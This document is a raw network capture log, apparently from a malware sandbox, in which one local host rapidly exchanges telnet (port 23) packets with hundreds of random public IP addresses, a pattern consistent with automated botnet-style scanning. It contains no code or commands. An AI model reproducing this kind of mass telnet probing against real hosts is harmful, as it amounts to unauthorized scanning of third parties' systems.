Jan 5, 2025 14:26:50.628683090 CET	57214	23	192.168.2.13	186.86.12.61
Jan 5, 2025 14:26:50.628684998 CET	23	57214	72.244.254.197	192.168.2.13
Jan 5, 2025 14:26:50.628690958 CET	57214	23	192.168.2.13	143.193.128.139
Jan 5, 2025 14:26:50.628695011 CET	23	57214	207.170.8.2	192.168.2.13
Jan 5, 2025 14:26:50.628700972 CET	57214	23	192.168.2.13	54.132.122.147
Jan 5, 2025 14:26:50.628707886 CET	23	57214	83.40.108.134	192.168.2.13
Jan 5, 2025 14:26:50.628712893 CET	57214	23	192.168.2.13	72.244.254.197
Jan 5, 2025 14:26:50.628720045 CET	23	57214	59.107.248.128	192.168.2.13
Jan 5, 2025 14:26:50.628720045 CET	57214	23	192.168.2.13	207.170.8.2
Jan 5, 2025 14:26:50.628731012 CET	23	57214	183.89.177.133	192.168.2.13
Jan 5, 2025 14:26:50.628732920 CET	57214	23	192.168.2.13	83.40.108.134
Jan 5, 2025 14:26:50.628741026 CET	57214	23	192.168.2.13	59.107.248.128
Jan 5, 2025 14:26:50.628741026 CET	23	57214	176.114.68.175	192.168.2.13
Jan 5, 2025 14:26:50.628762007 CET	57214	23	192.168.2.13	183.89.177.133
Jan 5, 2025 14:26:50.628766060 CET	23	57214	75.111.84.151	192.168.2.13
Jan 5, 2025 14:26:50.628776073 CET	57214	23	192.168.2.13	176.114.68.175
Jan 5, 2025 14:26:50.628777027 CET	23	57214	196.169.241.237	192.168.2.13
Jan 5, 2025 14:26:50.628787994 CET	23	57214	117.113.74.193	192.168.2.13
Jan 5, 2025 14:26:50.628791094 CET	57214	23	192.168.2.13	75.111.84.151
Jan 5, 2025 14:26:50.628808975 CET	57214	23	192.168.2.13	196.169.241.237
Jan 5, 2025 14:26:50.628815889 CET	57214	23	192.168.2.13	117.113.74.193
Jan 5, 2025 14:26:50.628837109 CET	23	57214	66.109.58.215	192.168.2.13
Jan 5, 2025 14:26:50.628871918 CET	57214	23	192.168.2.13	66.109.58.215
Jan 5, 2025 14:26:50.628956079 CET	23	57214	133.170.110.145	192.168.2.13
Jan 5, 2025 14:26:50.628968000 CET	23	57214	169.88.4.244	192.168.2.13
Jan 5, 2025 14:26:50.628978014 CET	23	57214	70.131.139.232	192.168.2.13
Jan 5, 2025 14:26:50.628988981 CET	57214	23	192.168.2.13	133.170.110.145
Jan 5, 2025 14:26:50.628988981 CET	23	57214	63.15.109.218	192.168.2.13
Jan 5, 2025 14:26:50.628997087 CET	57214	23	192.168.2.13	169.88.4.244
Jan 5, 2025 14:26:50.628999949 CET	23	57214	70.88.19.6	192.168.2.13
Jan 5, 2025 14:26:50.629010916 CET	57214	23	192.168.2.13	70.131.139.232
Jan 5, 2025 14:26:50.629010916 CET	57214	23	192.168.2.13	63.15.109.218
Jan 5, 2025 14:26:50.629012108 CET	23	57214	58.216.201.185	192.168.2.13
Jan 5, 2025 14:26:50.629021883 CET	23	57214	23.52.138.9	192.168.2.13
Jan 5, 2025 14:26:50.629029036 CET	57214	23	192.168.2.13	70.88.19.6
Jan 5, 2025 14:26:50.629034042 CET	23	57214	83.95.102.155	192.168.2.13
Jan 5, 2025 14:26:50.629036903 CET	57214	23	192.168.2.13	58.216.201.185
Jan 5, 2025 14:26:50.629045010 CET	23	57214	17.216.218.248	192.168.2.13
Jan 5, 2025 14:26:50.629050016 CET	57214	23	192.168.2.13	23.52.138.9
Jan 5, 2025 14:26:50.629057884 CET	23	57214	162.205.144.251	192.168.2.13
Jan 5, 2025 14:26:50.629060030 CET	57214	23	192.168.2.13	83.95.102.155
Jan 5, 2025 14:26:50.629070044 CET	23	57214	99.216.198.68	192.168.2.13
Jan 5, 2025 14:26:50.629072905 CET	57214	23	192.168.2.13	17.216.218.248
Jan 5, 2025 14:26:50.629081011 CET	23	57214	50.2.215.53	192.168.2.13
Jan 5, 2025 14:26:50.629085064 CET	57214	23	192.168.2.13	162.205.144.251
Jan 5, 2025 14:26:50.629091024 CET	23	57214	164.149.205.201	192.168.2.13
Jan 5, 2025 14:26:50.629100084 CET	57214	23	192.168.2.13	99.216.198.68
Jan 5, 2025 14:26:50.629108906 CET	57214	23	192.168.2.13	50.2.215.53
Jan 5, 2025 14:26:50.629108906 CET	57214	23	192.168.2.13	164.149.205.201
Jan 5, 2025 14:26:50.629112959 CET	23	57214	20.98.151.67	192.168.2.13
Jan 5, 2025 14:26:50.629125118 CET	23	57214	131.189.49.218	192.168.2.13
Jan 5, 2025 14:26:50.629136086 CET	23	57214	108.72.96.45	192.168.2.13
Jan 5, 2025 14:26:50.629139900 CET	57214	23	192.168.2.13	20.98.151.67
Jan 5, 2025 14:26:50.629146099 CET	23	57214	185.98.72.3	192.168.2.13
Jan 5, 2025 14:26:50.629158020 CET	23	57214	18.37.85.110	192.168.2.13
Jan 5, 2025 14:26:50.629158974 CET	57214	23	192.168.2.13	131.189.49.218
Jan 5, 2025 14:26:50.629163980 CET	57214	23	192.168.2.13	108.72.96.45
Jan 5, 2025 14:26:50.629170895 CET	23	57214	137.157.216.54	192.168.2.13
Jan 5, 2025 14:26:50.629175901 CET	57214	23	192.168.2.13	185.98.72.3
Jan 5, 2025 14:26:50.629182100 CET	57214	23	192.168.2.13	18.37.85.110
Jan 5, 2025 14:26:50.629182100 CET	23	57214	92.230.193.213	192.168.2.13
Jan 5, 2025 14:26:50.629193068 CET	57214	23	192.168.2.13	137.157.216.54
Jan 5, 2025 14:26:50.629194021 CET	23	57214	76.14.98.140	192.168.2.13
Jan 5, 2025 14:26:50.629205942 CET	23	57214	98.57.252.153	192.168.2.13
Jan 5, 2025 14:26:50.629208088 CET	57214	23	192.168.2.13	92.230.193.213
Jan 5, 2025 14:26:50.629218102 CET	23	57214	167.25.210.157	192.168.2.13
Jan 5, 2025 14:26:50.629226923 CET	57214	23	192.168.2.13	76.14.98.140
Jan 5, 2025 14:26:50.629229069 CET	23	57214	181.212.92.185	192.168.2.13
Jan 5, 2025 14:26:50.629231930 CET	57214	23	192.168.2.13	98.57.252.153
Jan 5, 2025 14:26:50.629242897 CET	23	57214	34.199.90.15	192.168.2.13
Jan 5, 2025 14:26:50.629247904 CET	57214	23	192.168.2.13	167.25.210.157
Jan 5, 2025 14:26:50.629255056 CET	23	57214	4.191.65.224	192.168.2.13
Jan 5, 2025 14:26:50.629256010 CET	57214	23	192.168.2.13	181.212.92.185
Jan 5, 2025 14:26:50.629266024 CET	23	57214	48.175.130.117	192.168.2.13
Jan 5, 2025 14:26:50.629271984 CET	57214	23	192.168.2.13	34.199.90.15
Jan 5, 2025 14:26:50.629281998 CET	57214	23	192.168.2.13	4.191.65.224
Jan 5, 2025 14:26:50.629300117 CET	57214	23	192.168.2.13	48.175.130.117
Jan 5, 2025 14:26:50.629393101 CET	23	57214	200.4.244.106	192.168.2.13
Jan 5, 2025 14:26:50.629403114 CET	23	57214	2.74.42.245	192.168.2.13
Jan 5, 2025 14:26:50.629416943 CET	23	57214	145.74.23.172	192.168.2.13
Jan 5, 2025 14:26:50.629425049 CET	57214	23	192.168.2.13	200.4.244.106
Jan 5, 2025 14:26:50.629426956 CET	23	57214	181.65.214.243	192.168.2.13
Jan 5, 2025 14:26:50.629441977 CET	57214	23	192.168.2.13	2.74.42.245
Jan 5, 2025 14:26:50.629447937 CET	23	57214	125.192.159.100	192.168.2.13
Jan 5, 2025 14:26:50.629458904 CET	57214	23	192.168.2.13	145.74.23.172
Jan 5, 2025 14:26:50.629460096 CET	23	57214	108.238.85.210	192.168.2.13
Jan 5, 2025 14:26:50.629460096 CET	57214	23	192.168.2.13	181.65.214.243
Jan 5, 2025 14:26:50.629482985 CET	57214	23	192.168.2.13	125.192.159.100
Jan 5, 2025 14:26:50.629492998 CET	23	57214	75.61.41.180	192.168.2.13
Jan 5, 2025 14:26:50.629503012 CET	57214	23	192.168.2.13	108.238.85.210
Jan 5, 2025 14:26:50.629503965 CET	23	57214	204.249.108.80	192.168.2.13
Jan 5, 2025 14:26:50.629515886 CET	23	57214	74.121.43.234	192.168.2.13
Jan 5, 2025 14:26:50.629528999 CET	23	57214	53.105.234.69	192.168.2.13
Jan 5, 2025 14:26:50.629529953 CET	57214	23	192.168.2.13	75.61.41.180
Jan 5, 2025 14:26:50.629534960 CET	57214	23	192.168.2.13	204.249.108.80
Jan 5, 2025 14:26:50.629539967 CET	23	57214	161.17.236.197	192.168.2.13
Jan 5, 2025 14:26:50.629551888 CET	23	57214	13.25.243.124	192.168.2.13
Jan 5, 2025 14:26:50.629554033 CET	57214	23	192.168.2.13	53.105.234.69
Jan 5, 2025 14:26:50.629554987 CET	57214	23	192.168.2.13	74.121.43.234
Jan 5, 2025 14:26:50.629565001 CET	23	57214	164.146.69.65	192.168.2.13
Jan 5, 2025 14:26:50.629570961 CET	57214	23	192.168.2.13	161.17.236.197
Jan 5, 2025 14:26:50.629575968 CET	23	57214	24.246.132.189	192.168.2.13
Jan 5, 2025 14:26:50.629579067 CET	57214	23	192.168.2.13	13.25.243.124
Jan 5, 2025 14:26:50.629590988 CET	57214	23	192.168.2.13	164.146.69.65
Jan 5, 2025 14:26:50.629596949 CET	23	57214	111.42.231.59	192.168.2.13
Jan 5, 2025 14:26:50.629604101 CET	57214	23	192.168.2.13	24.246.132.189
Jan 5, 2025 14:26:50.629607916 CET	23	57214	77.22.44.37	192.168.2.13
Jan 5, 2025 14:26:50.629620075 CET	23	57214	137.125.81.163	192.168.2.13
Jan 5, 2025 14:26:50.629628897 CET	57214	23	192.168.2.13	111.42.231.59
Jan 5, 2025 14:26:50.629631042 CET	23	57214	84.141.187.73	192.168.2.13
Jan 5, 2025 14:26:50.629632950 CET	57214	23	192.168.2.13	77.22.44.37
Jan 5, 2025 14:26:50.629642010 CET	23	57214	85.110.32.243	192.168.2.13
Jan 5, 2025 14:26:50.629643917 CET	57214	23	192.168.2.13	137.125.81.163
Jan 5, 2025 14:26:50.629652023 CET	23	57214	80.76.98.92	192.168.2.13
Jan 5, 2025 14:26:50.629657030 CET	57214	23	192.168.2.13	84.141.187.73
Jan 5, 2025 14:26:50.629663944 CET	23	57214	38.205.70.18	192.168.2.13
Jan 5, 2025 14:26:50.629672050 CET	57214	23	192.168.2.13	85.110.32.243
Jan 5, 2025 14:26:50.629674911 CET	23	57214	118.195.76.30	192.168.2.13
Jan 5, 2025 14:26:50.629678011 CET	57214	23	192.168.2.13	80.76.98.92
Jan 5, 2025 14:26:50.629687071 CET	23	57214	72.207.76.250	192.168.2.13
Jan 5, 2025 14:26:50.629693031 CET	57214	23	192.168.2.13	38.205.70.18
Jan 5, 2025 14:26:50.629699945 CET	23	57214	59.40.157.36	192.168.2.13
Jan 5, 2025 14:26:50.629707098 CET	57214	23	192.168.2.13	118.195.76.30
Jan 5, 2025 14:26:50.629710913 CET	23	57214	143.190.228.15	192.168.2.13
Jan 5, 2025 14:26:50.629714012 CET	57214	23	192.168.2.13	72.207.76.250
Jan 5, 2025 14:26:50.629723072 CET	23	57214	20.54.146.116	192.168.2.13
Jan 5, 2025 14:26:50.629723072 CET	57214	23	192.168.2.13	59.40.157.36
Jan 5, 2025 14:26:50.629733086 CET	23	57214	76.145.48.90	192.168.2.13
Jan 5, 2025 14:26:50.629740000 CET	57214	23	192.168.2.13	143.190.228.15
Jan 5, 2025 14:26:50.629746914 CET	23	57214	125.168.186.30	192.168.2.13
Jan 5, 2025 14:26:50.629748106 CET	57214	23	192.168.2.13	20.54.146.116
Jan 5, 2025 14:26:50.629762888 CET	57214	23	192.168.2.13	76.145.48.90
Jan 5, 2025 14:26:50.629777908 CET	57214	23	192.168.2.13	125.168.186.30
Jan 5, 2025 14:26:50.630007029 CET	23	57214	165.50.204.241	192.168.2.13
Jan 5, 2025 14:26:50.630018950 CET	23	57214	129.246.202.210	192.168.2.13
Jan 5, 2025 14:26:50.630031109 CET	23	57214	130.170.206.86	192.168.2.13
Jan 5, 2025 14:26:50.630032063 CET	57214	23	192.168.2.13	165.50.204.241
Jan 5, 2025 14:26:50.630042076 CET	23	57214	18.253.168.29	192.168.2.13
Jan 5, 2025 14:26:50.630047083 CET	57214	23	192.168.2.13	129.246.202.210
Jan 5, 2025 14:26:50.630060911 CET	57214	23	192.168.2.13	130.170.206.86
Jan 5, 2025 14:26:50.630063057 CET	23	57214	61.61.67.196	192.168.2.13
Jan 5, 2025 14:26:50.630074978 CET	23	57214	53.207.213.177	192.168.2.13
Jan 5, 2025 14:26:50.630079985 CET	57214	23	192.168.2.13	18.253.168.29
Jan 5, 2025 14:26:50.630085945 CET	23	57214	201.4.152.169	192.168.2.13
Jan 5, 2025 14:26:50.630095959 CET	57214	23	192.168.2.13	61.61.67.196
Jan 5, 2025 14:26:50.630096912 CET	23	57214	192.130.98.224	192.168.2.13
Jan 5, 2025 14:26:50.630105972 CET	57214	23	192.168.2.13	53.207.213.177
Jan 5, 2025 14:26:50.630108118 CET	23	57214	133.166.248.134	192.168.2.13
Jan 5, 2025 14:26:50.630114079 CET	57214	23	192.168.2.13	201.4.152.169
Jan 5, 2025 14:26:50.630119085 CET	57214	23	192.168.2.13	192.130.98.224
Jan 5, 2025 14:26:50.630120993 CET	23	57214	27.42.111.7	192.168.2.13
Jan 5, 2025 14:26:50.630129099 CET	57214	23	192.168.2.13	133.166.248.134
Jan 5, 2025 14:26:50.630131960 CET	23	57214	42.123.21.209	192.168.2.13
Jan 5, 2025 14:26:50.630141973 CET	23	57214	171.187.39.34	192.168.2.13
Jan 5, 2025 14:26:50.630148888 CET	57214	23	192.168.2.13	27.42.111.7
Jan 5, 2025 14:26:50.630153894 CET	23	57214	19.46.19.27	192.168.2.13
Jan 5, 2025 14:26:50.630161047 CET	57214	23	192.168.2.13	42.123.21.209
Jan 5, 2025 14:26:50.630165100 CET	23	57214	42.1.97.35	192.168.2.13
Jan 5, 2025 14:26:50.630167961 CET	57214	23	192.168.2.13	171.187.39.34
Jan 5, 2025 14:26:50.630177021 CET	23	57214	166.135.83.119	192.168.2.13
Jan 5, 2025 14:26:50.630182028 CET	57214	23	192.168.2.13	19.46.19.27
Jan 5, 2025 14:26:50.630187988 CET	23	57214	100.191.17.107	192.168.2.13
Jan 5, 2025 14:26:50.630192041 CET	57214	23	192.168.2.13	42.1.97.35
Jan 5, 2025 14:26:50.630198956 CET	23	57214	64.113.62.246	192.168.2.13
Jan 5, 2025 14:26:50.630204916 CET	57214	23	192.168.2.13	166.135.83.119
Jan 5, 2025 14:26:50.630211115 CET	23	57214	18.187.169.179	192.168.2.13
Jan 5, 2025 14:26:50.630211115 CET	57214	23	192.168.2.13	100.191.17.107
Jan 5, 2025 14:26:50.630222082 CET	23	57214	90.25.60.118	192.168.2.13
Jan 5, 2025 14:26:50.630224943 CET	57214	23	192.168.2.13	64.113.62.246
Jan 5, 2025 14:26:50.630233049 CET	23	57214	218.186.76.220	192.168.2.13
Jan 5, 2025 14:26:50.630234003 CET	57214	23	192.168.2.13	18.187.169.179
Jan 5, 2025 14:26:50.630244017 CET	23	57214	179.10.30.68	192.168.2.13
Jan 5, 2025 14:26:50.630247116 CET	57214	23	192.168.2.13	90.25.60.118
Jan 5, 2025 14:26:50.630255938 CET	23	57214	152.41.126.207	192.168.2.13
Jan 5, 2025 14:26:50.630265951 CET	57214	23	192.168.2.13	218.186.76.220
Jan 5, 2025 14:26:50.630266905 CET	23	57214	211.67.207.150	192.168.2.13
Jan 5, 2025 14:26:50.630271912 CET	57214	23	192.168.2.13	179.10.30.68
Jan 5, 2025 14:26:50.630279064 CET	23	57214	204.101.162.206	192.168.2.13
Jan 5, 2025 14:26:50.630281925 CET	57214	23	192.168.2.13	152.41.126.207
Jan 5, 2025 14:26:50.630290031 CET	23	57214	146.226.56.215	192.168.2.13
Jan 5, 2025 14:26:50.630301952 CET	23	57214	72.194.79.113	192.168.2.13
Jan 5, 2025 14:26:50.630301952 CET	57214	23	192.168.2.13	204.101.162.206
Jan 5, 2025 14:26:50.630302906 CET	57214	23	192.168.2.13	211.67.207.150
Jan 5, 2025 14:26:50.630314112 CET	23	57214	176.175.255.36	192.168.2.13
Jan 5, 2025 14:26:50.630317926 CET	57214	23	192.168.2.13	146.226.56.215
Jan 5, 2025 14:26:50.630327940 CET	23	57214	51.211.189.79	192.168.2.13
Jan 5, 2025 14:26:50.630328894 CET	57214	23	192.168.2.13	72.194.79.113
Jan 5, 2025 14:26:50.630342960 CET	57214	23	192.168.2.13	176.175.255.36
Jan 5, 2025 14:26:50.630350113 CET	57214	23	192.168.2.13	51.211.189.79
Jan 5, 2025 14:26:50.630450964 CET	23	57214	166.126.163.214	192.168.2.13
Jan 5, 2025 14:26:50.630460978 CET	23	57214	69.45.51.28	192.168.2.13
Jan 5, 2025 14:26:50.630472898 CET	23	57214	5.63.150.24	192.168.2.13
Jan 5, 2025 14:26:50.630482912 CET	23	57214	58.74.14.13	192.168.2.13
Jan 5, 2025 14:26:50.630486965 CET	57214	23	192.168.2.13	166.126.163.214
Jan 5, 2025 14:26:50.630502939 CET	57214	23	192.168.2.13	69.45.51.28
Jan 5, 2025 14:26:50.630503893 CET	23	57214	169.161.195.135	192.168.2.13
Jan 5, 2025 14:26:50.630512953 CET	57214	23	192.168.2.13	5.63.150.24
Jan 5, 2025 14:26:50.630512953 CET	57214	23	192.168.2.13	58.74.14.13
Jan 5, 2025 14:26:50.630515099 CET	23	57214	112.137.18.224	192.168.2.13
Jan 5, 2025 14:26:50.630526066 CET	23	57214	82.69.161.114	192.168.2.13
Jan 5, 2025 14:26:50.630532026 CET	57214	23	192.168.2.13	169.161.195.135
Jan 5, 2025 14:26:50.630537033 CET	23	57214	183.116.247.48	192.168.2.13
Jan 5, 2025 14:26:50.630544901 CET	57214	23	192.168.2.13	112.137.18.224
Jan 5, 2025 14:26:50.630548000 CET	23	57214	74.48.74.11	192.168.2.13
Jan 5, 2025 14:26:50.630551100 CET	57214	23	192.168.2.13	82.69.161.114
Jan 5, 2025 14:26:50.630558968 CET	23	57214	152.119.149.204	192.168.2.13
Jan 5, 2025 14:26:50.630565882 CET	57214	23	192.168.2.13	183.116.247.48
Jan 5, 2025 14:26:50.630569935 CET	23	57214	94.90.56.46	192.168.2.13
Jan 5, 2025 14:26:50.630574942 CET	57214	23	192.168.2.13	74.48.74.11
Jan 5, 2025 14:26:50.630592108 CET	23	57214	140.229.215.68	192.168.2.13
Jan 5, 2025 14:26:50.630593061 CET	57214	23	192.168.2.13	94.90.56.46
Jan 5, 2025 14:26:50.630594969 CET	57214	23	192.168.2.13	152.119.149.204
Jan 5, 2025 14:26:50.630603075 CET	23	57214	20.138.253.3	192.168.2.13
Jan 5, 2025 14:26:50.630613089 CET	57214	23	192.168.2.13	140.229.215.68
Jan 5, 2025 14:26:50.630614996 CET	23	57214	172.8.231.154	192.168.2.13
Jan 5, 2025 14:26:50.630625010 CET	23	57214	1.44.221.68	192.168.2.13
Jan 5, 2025 14:26:50.630628109 CET	57214	23	192.168.2.13	20.138.253.3
Jan 5, 2025 14:26:50.630636930 CET	23	57214	160.121.188.181	192.168.2.13
Jan 5, 2025 14:26:50.630642891 CET	57214	23	192.168.2.13	172.8.231.154
Jan 5, 2025 14:26:50.630647898 CET	23	57214	106.5.121.96	192.168.2.13
Jan 5, 2025 14:26:50.630651951 CET	57214	23	192.168.2.13	1.44.221.68
Jan 5, 2025 14:26:50.630659103 CET	23	57214	155.243.104.137	192.168.2.13
Jan 5, 2025 14:26:50.630662918 CET	57214	23	192.168.2.13	160.121.188.181
Jan 5, 2025 14:26:50.630671024 CET	23	57214	131.142.213.131	192.168.2.13
Jan 5, 2025 14:26:50.630681038 CET	23	57214	125.87.158.39	192.168.2.13
Jan 5, 2025 14:26:50.630688906 CET	57214	23	192.168.2.13	106.5.121.96
Jan 5, 2025 14:26:50.630690098 CET	57214	23	192.168.2.13	155.243.104.137
Jan 5, 2025 14:26:50.630692005 CET	23	57214	41.134.167.73	192.168.2.13
Jan 5, 2025 14:26:50.630697012 CET	57214	23	192.168.2.13	131.142.213.131
Jan 5, 2025 14:26:50.630703926 CET	23	57214	107.185.144.121	192.168.2.13
Jan 5, 2025 14:26:50.630708933 CET	57214	23	192.168.2.13	125.87.158.39
Jan 5, 2025 14:26:50.630713940 CET	23	57214	142.110.164.1	192.168.2.13
Jan 5, 2025 14:26:50.630718946 CET	57214	23	192.168.2.13	41.134.167.73
Jan 5, 2025 14:26:50.630727053 CET	23	57214	138.69.227.110	192.168.2.13
Jan 5, 2025 14:26:50.630732059 CET	57214	23	192.168.2.13	107.185.144.121
Jan 5, 2025 14:26:50.630738974 CET	23	57214	104.121.64.63	192.168.2.13
Jan 5, 2025 14:26:50.630740881 CET	57214	23	192.168.2.13	142.110.164.1
Jan 5, 2025 14:26:50.630748987 CET	23	57214	105.65.79.74	192.168.2.13
Jan 5, 2025 14:26:50.630759001 CET	57214	23	192.168.2.13	138.69.227.110
Jan 5, 2025 14:26:50.630759954 CET	23	57214	161.54.96.254	192.168.2.13
Jan 5, 2025 14:26:50.630762100 CET	57214	23	192.168.2.13	104.121.64.63
Jan 5, 2025 14:26:50.630772114 CET	23	57214	27.171.222.43	192.168.2.13
Jan 5, 2025 14:26:50.630778074 CET	57214	23	192.168.2.13	105.65.79.74
Jan 5, 2025 14:26:50.630789042 CET	57214	23	192.168.2.13	161.54.96.254
Jan 5, 2025 14:26:50.630800962 CET	57214	23	192.168.2.13	27.171.222.43
Jan 5, 2025 14:26:50.630954027 CET	23	57214	200.139.166.81	192.168.2.13
Jan 5, 2025 14:26:50.630964994 CET	23	57214	49.43.215.9	192.168.2.13
Jan 5, 2025 14:26:50.630975962 CET	23	57214	190.190.142.172	192.168.2.13
Jan 5, 2025 14:26:50.630981922 CET	57214	23	192.168.2.13	200.139.166.81
Jan 5, 2025 14:26:50.630985975 CET	23	57214	165.220.77.104	192.168.2.13
Jan 5, 2025 14:26:50.630992889 CET	57214	23	192.168.2.13	49.43.215.9
Jan 5, 2025 14:26:50.630999088 CET	23	57214	142.207.151.133	192.168.2.13
Jan 5, 2025 14:26:50.631000996 CET	57214	23	192.168.2.13	190.190.142.172
Jan 5, 2025 14:26:50.631014109 CET	57214	23	192.168.2.13	165.220.77.104
Jan 5, 2025 14:26:50.631031036 CET	57214	23	192.168.2.13	142.207.151.133
Jan 5, 2025 14:26:50.631066084 CET	23	57214	104.169.229.174	192.168.2.13
Jan 5, 2025 14:26:50.631077051 CET	23	57214	37.27.89.70	192.168.2.13
Jan 5, 2025 14:26:50.631088018 CET	23	57214	182.140.62.103	192.168.2.13
Jan 5, 2025 14:26:50.631098986 CET	57214	23	192.168.2.13	104.169.229.174
Jan 5, 2025 14:26:50.631098986 CET	23	57214	89.134.241.33	192.168.2.13
Jan 5, 2025 14:26:50.631105900 CET	57214	23	192.168.2.13	37.27.89.70
Jan 5, 2025 14:26:50.631109953 CET	23	57214	177.208.188.218	192.168.2.13
Jan 5, 2025 14:26:50.631117105 CET	57214	23	192.168.2.13	182.140.62.103
Jan 5, 2025 14:26:50.631123066 CET	23	57214	62.104.156.241	192.168.2.13
Jan 5, 2025 14:26:50.631129980 CET	57214	23	192.168.2.13	89.134.241.33
Jan 5, 2025 14:26:50.631134033 CET	23	57214	173.121.217.29	192.168.2.13
Jan 5, 2025 14:26:50.631141901 CET	57214	23	192.168.2.13	177.208.188.218
Jan 5, 2025 14:26:50.631145000 CET	23	57214	194.31.23.252	192.168.2.13
Jan 5, 2025 14:26:50.631146908 CET	57214	23	192.168.2.13	62.104.156.241
Jan 5, 2025 14:26:50.631155968 CET	23	57214	130.163.70.250	192.168.2.13
Jan 5, 2025 14:26:50.631160975 CET	57214	23	192.168.2.13	173.121.217.29
Jan 5, 2025 14:26:50.631167889 CET	23	57214	138.6.190.0	192.168.2.13
Jan 5, 2025 14:26:50.631172895 CET	57214	23	192.168.2.13	194.31.23.252
Jan 5, 2025 14:26:50.631180048 CET	57214	23	192.168.2.13	130.163.70.250
Jan 5, 2025 14:26:50.631189108 CET	23	57214	166.27.185.60	192.168.2.13
Jan 5, 2025 14:26:50.631196976 CET	57214	23	192.168.2.13	138.6.190.0
Jan 5, 2025 14:26:50.631200075 CET	23	57214	84.83.183.23	192.168.2.13
Jan 5, 2025 14:26:50.631211042 CET	23	57214	169.252.193.49	192.168.2.13
Jan 5, 2025 14:26:50.631211996 CET	57214	23	192.168.2.13	166.27.185.60
Jan 5, 2025 14:26:50.631222010 CET	23	57214	122.187.165.81	192.168.2.13
Jan 5, 2025 14:26:50.631232023 CET	57214	23	192.168.2.13	84.83.183.23
Jan 5, 2025 14:26:50.631232977 CET	23	57214	58.244.250.39	192.168.2.13
Jan 5, 2025 14:26:50.631232977 CET	57214	23	192.168.2.13	169.252.193.49
Jan 5, 2025 14:26:50.631246090 CET	23	57214	36.190.216.140	192.168.2.13
Jan 5, 2025 14:26:50.631252050 CET	57214	23	192.168.2.13	122.187.165.81
Jan 5, 2025 14:26:50.631257057 CET	23	57214	198.165.177.102	192.168.2.13
Jan 5, 2025 14:26:50.631261110 CET	57214	23	192.168.2.13	58.244.250.39
Jan 5, 2025 14:26:50.631268978 CET	23	57214	102.232.233.161	192.168.2.13
Jan 5, 2025 14:26:50.631273031 CET	57214	23	192.168.2.13	36.190.216.140
Jan 5, 2025 14:26:50.631279945 CET	23	57214	61.160.135.10	192.168.2.13
Jan 5, 2025 14:26:50.631284952 CET	57214	23	192.168.2.13	198.165.177.102
Jan 5, 2025 14:26:50.631289959 CET	57214	23	192.168.2.13	102.232.233.161
Jan 5, 2025 14:26:50.631293058 CET	23	57214	67.246.59.237	192.168.2.13
Jan 5, 2025 14:26:50.631303072 CET	23	57214	83.19.6.45	192.168.2.13
Jan 5, 2025 14:26:50.631306887 CET	57214	23	192.168.2.13	61.160.135.10
Jan 5, 2025 14:26:50.631316900 CET	57214	23	192.168.2.13	67.246.59.237
Jan 5, 2025 14:26:50.631319046 CET	23	57214	206.166.216.144	192.168.2.13
Jan 5, 2025 14:26:50.631325960 CET	57214	23	192.168.2.13	83.19.6.45
Jan 5, 2025 14:26:50.631331921 CET	23	57214	14.183.16.110	192.168.2.13
Jan 5, 2025 14:26:50.631352901 CET	57214	23	192.168.2.13	206.166.216.144
Jan 5, 2025 14:26:50.631362915 CET	57214	23	192.168.2.13	14.183.16.110
Jan 5, 2025 14:26:50.631457090 CET	23	57214	81.39.104.207	192.168.2.13
Jan 5, 2025 14:26:50.631486893 CET	57214	23	192.168.2.13	81.39.104.207
Jan 5, 2025 14:26:50.631552935 CET	23	57214	202.108.232.123	192.168.2.13
Jan 5, 2025 14:26:50.631563902 CET	23	57214	89.152.139.158	192.168.2.13
Jan 5, 2025 14:26:50.631575108 CET	23	57214	1.119.36.247	192.168.2.13
Jan 5, 2025 14:26:50.631581068 CET	57214	23	192.168.2.13	202.108.232.123
Jan 5, 2025 14:26:50.631588936 CET	57214	23	192.168.2.13	89.152.139.158
Jan 5, 2025 14:26:50.631599903 CET	23	57214	36.89.80.227	192.168.2.13
Jan 5, 2025 14:26:50.631607056 CET	57214	23	192.168.2.13	1.119.36.247
Jan 5, 2025 14:26:50.631611109 CET	23	57214	203.249.90.110	192.168.2.13
Jan 5, 2025 14:26:50.631622076 CET	23	57214	70.161.42.112	192.168.2.13
Jan 5, 2025 14:26:50.631629944 CET	57214	23	192.168.2.13	36.89.80.227
Jan 5, 2025 14:26:50.631632090 CET	23	57214	153.81.210.234	192.168.2.13
Jan 5, 2025 14:26:50.631639957 CET	57214	23	192.168.2.13	203.249.90.110
Jan 5, 2025 14:26:50.631644011 CET	23	57214	92.252.188.228	192.168.2.13
Jan 5, 2025 14:26:50.631652117 CET	57214	23	192.168.2.13	70.161.42.112
Jan 5, 2025 14:26:50.631655931 CET	23	57214	164.211.250.197	192.168.2.13
Jan 5, 2025 14:26:50.631664038 CET	57214	23	192.168.2.13	153.81.210.234
Jan 5, 2025 14:26:50.631675959 CET	23	57214	91.170.91.151	192.168.2.13
Jan 5, 2025 14:26:50.631681919 CET	57214	23	192.168.2.13	92.252.188.228
Jan 5, 2025 14:26:50.631684065 CET	57214	23	192.168.2.13	164.211.250.197
Jan 5, 2025 14:26:50.631686926 CET	23	57214	162.158.23.105	192.168.2.13
Jan 5, 2025 14:26:50.631697893 CET	23	57214	5.236.198.201	192.168.2.13
Jan 5, 2025 14:26:50.631705999 CET	57214	23	192.168.2.13	91.170.91.151
Jan 5, 2025 14:26:50.631710052 CET	57214	23	192.168.2.13	162.158.23.105
Jan 5, 2025 14:26:50.631711960 CET	23	57214	8.225.217.19	192.168.2.13
Jan 5, 2025 14:26:50.631724119 CET	23	57214	9.93.6.69	192.168.2.13
Jan 5, 2025 14:26:50.631731987 CET	57214	23	192.168.2.13	5.236.198.201
Jan 5, 2025 14:26:50.631735086 CET	23	57214	169.59.109.140	192.168.2.13
Jan 5, 2025 14:26:50.631736040 CET	57214	23	192.168.2.13	8.225.217.19
Jan 5, 2025 14:26:50.631745100 CET	23	57214	198.4.145.90	192.168.2.13
Jan 5, 2025 14:26:50.631756067 CET	23	57214	65.162.74.116	192.168.2.13
Jan 5, 2025 14:26:50.631758928 CET	57214	23	192.168.2.13	9.93.6.69
Jan 5, 2025 14:26:50.631767035 CET	23	57214	222.213.247.147	192.168.2.13
Jan 5, 2025 14:26:50.631768942 CET	57214	23	192.168.2.13	169.59.109.140
Jan 5, 2025 14:26:50.631774902 CET	57214	23	192.168.2.13	198.4.145.90
Jan 5, 2025 14:26:50.631778002 CET	23	57214	85.233.20.223	192.168.2.13
Jan 5, 2025 14:26:50.631783962 CET	57214	23	192.168.2.13	65.162.74.116
Jan 5, 2025 14:26:50.631788015 CET	23	57214	154.39.233.45	192.168.2.13
